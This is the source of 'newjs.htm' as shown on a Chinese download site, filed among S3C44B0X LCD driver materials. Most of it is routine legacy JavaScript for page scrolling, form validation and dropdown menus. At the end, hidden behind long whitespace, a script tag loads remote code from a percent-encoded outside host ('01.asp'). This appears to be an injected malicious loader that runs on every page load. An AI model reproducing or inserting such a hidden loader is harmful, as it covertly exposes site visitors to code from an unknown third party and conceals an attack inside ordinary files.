⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 newjs.htm

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 HTM
字号:
var currentpos,timer;
var popwin = null ;
//popwin = window.open("http://www.sjwbbs.com"); 
if(popwin!=null)
{
	popwin.blur(); 
	window.focus(); 
}

function initialize()
{
timer=setInterval("scrollwindow()",50);
}
function sc(){
clearInterval(timer);
}
function scrollwindow()
{
currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();
}

function CheckFComment()
{
	
	if(document.all.FComment.Content.value=="")
	{
		alert("请填写评论");
		document.all.FComment.Content.focus();
		return false;
	}
	if(document.all.FComment.Email.value!="")
	{
		var pattern = /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+/;
		if(!pattern.test(document.all.FComment.Email.value))
		{
			alert("Email格式不正确");
			document.all.FComment.Email.focus();
			return false;			
		}
	}
	if(document.all.FComment.ValidateNumber.value=="")
	{
		alert("请填写随机码");
		document.all.FComment.ValidateNumber.focus();
		return false;
	}

	return true;
}

function ChangFontSize(size)
{
	var obj=document.all.DIVContent;
	obj.style.fontSize=size;
}

function CheckSearchForm()
{
	var form=document.all.SearchForm;
	if(form.Keywords.value=="")
	{
		alert("Keywords can't empty");
		form.Keywords.focus();
		return false;
	}

	return true;
}



 var h;
 var w;
 var l;
 var t;
 var topMar = 1;
 var leftMar = -2;
 var space = 1;
 var isvisible ;
 var MENU_SHADOW_COLOR='#F0F0F0';//定义下拉菜单阴影色
 var global = window.document
 global.fo_currentMenu = null
 global.fo_shadows = new Array
 
 function HideMenu() 
{
 var mX;
 var mY;
 var vDiv;
 var mDiv; 
if (isvisible == true)
	{
		vDiv = document.all("menuDiv");
		mX = window.event.clientX + document.body.scrollLeft;
		mY = window.event.clientY + document.body.scrollTop;
		if ((mX < parseInt(vDiv.style.left)) || (mX > parseInt(vDiv.style.left)+vDiv.offsetWidth) || (mY < parseInt(vDiv.style.top)-h) || (mY > parseInt(vDiv.style.top)+vDiv.offsetHeight))
		{
			var MS=navigator.appVersion.indexOf("MSIE");
			if(navigator.appVersion.substring(MS+5,MS+6)>=6)
			{ 	
				try
				{
					var objHSI=document.all.HSI;
					objHSI.style.display="none";
				}
				catch(myerror)
				{
				}
			}
			vDiv.style.visibility = "hidden";
			isvisible = false;
		}
	}
}

function ShowMenu(vMnuCode,tWidth) {
	if(vMnuCode=="")
	{
		return;
	}
	vSrc = window.event.srcElement;
	vMnuCode = "<table id='submenu' cellspacing=1 cellpadding=3 style='width:"+tWidth+"' class=menu onmouseout='HideMenu()'><tr height=23><td nowrap align=left class=MenuBody>" + vMnuCode + "</td></tr></table>";

	h = vSrc.offsetHeight;
	w = vSrc.offsetWidth;
	l = vSrc.offsetLeft + leftMar+4;
	t = vSrc.offsetTop + topMar + h + space-2;
	vParent = vSrc.offsetParent;
	while (vParent.tagName.toUpperCase() != "BODY")
	{
		l += vParent.offsetLeft;
		t += vParent.offsetTop;
		vParent = vParent.offsetParent;
	}	
	menuDiv.innerHTML = vMnuCode;
	menuDiv.style.top = t;
	menuDiv.style.left = l;
	menuDiv.style.visibility = "visible";
	isvisible = true;
	var MS=navigator.appVersion.indexOf("MSIE");
	if(navigator.appVersion.substring(MS+5,MS+6)>=6)
	{ 
		try
		{
		var objHSI=document.all.HSI;
		objHSI.style.top = t ;
		objHSI.style.left = l;
		objHSI.style.width=menuDiv.scrollWidth;
		objHSI.style.height=menuDiv.scrollHeight;
		objHSI.style.display="block";
		}
		catch(myerror)
		{
		}
	
	}
	//alert(objHSI.style.display);
    makeRectangularDropShadow(submenu, MENU_SHADOW_COLOR, 4)
}

function makeRectangularDropShadow(el, color, size)
{
	var i;
	for (i=size; i>0; i--)
	{
		var rect = document.createElement('div');
		var rs = rect.style
		rs.position = 'absolute';
		rs.left = (el.style.posLeft + i) + 'px';
		rs.top = (el.style.posTop + i) + 'px';
		rs.width = el.offsetWidth  + 'px';
		rs.height = el.offsetHeight  + 'px';
		rs.zIndex = el.style.zIndex - i;
		rs.backgroundColor = color;
		var opacity = 1 - i / (i + 1);
		rs.filter = 'alpha(opacity=' + (100 * opacity) + ')';
		el.insertAdjacentElement('afterEnd', rect);
		global.fo_shadows[global.fo_shadows.length] = rect;
	}
}

                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -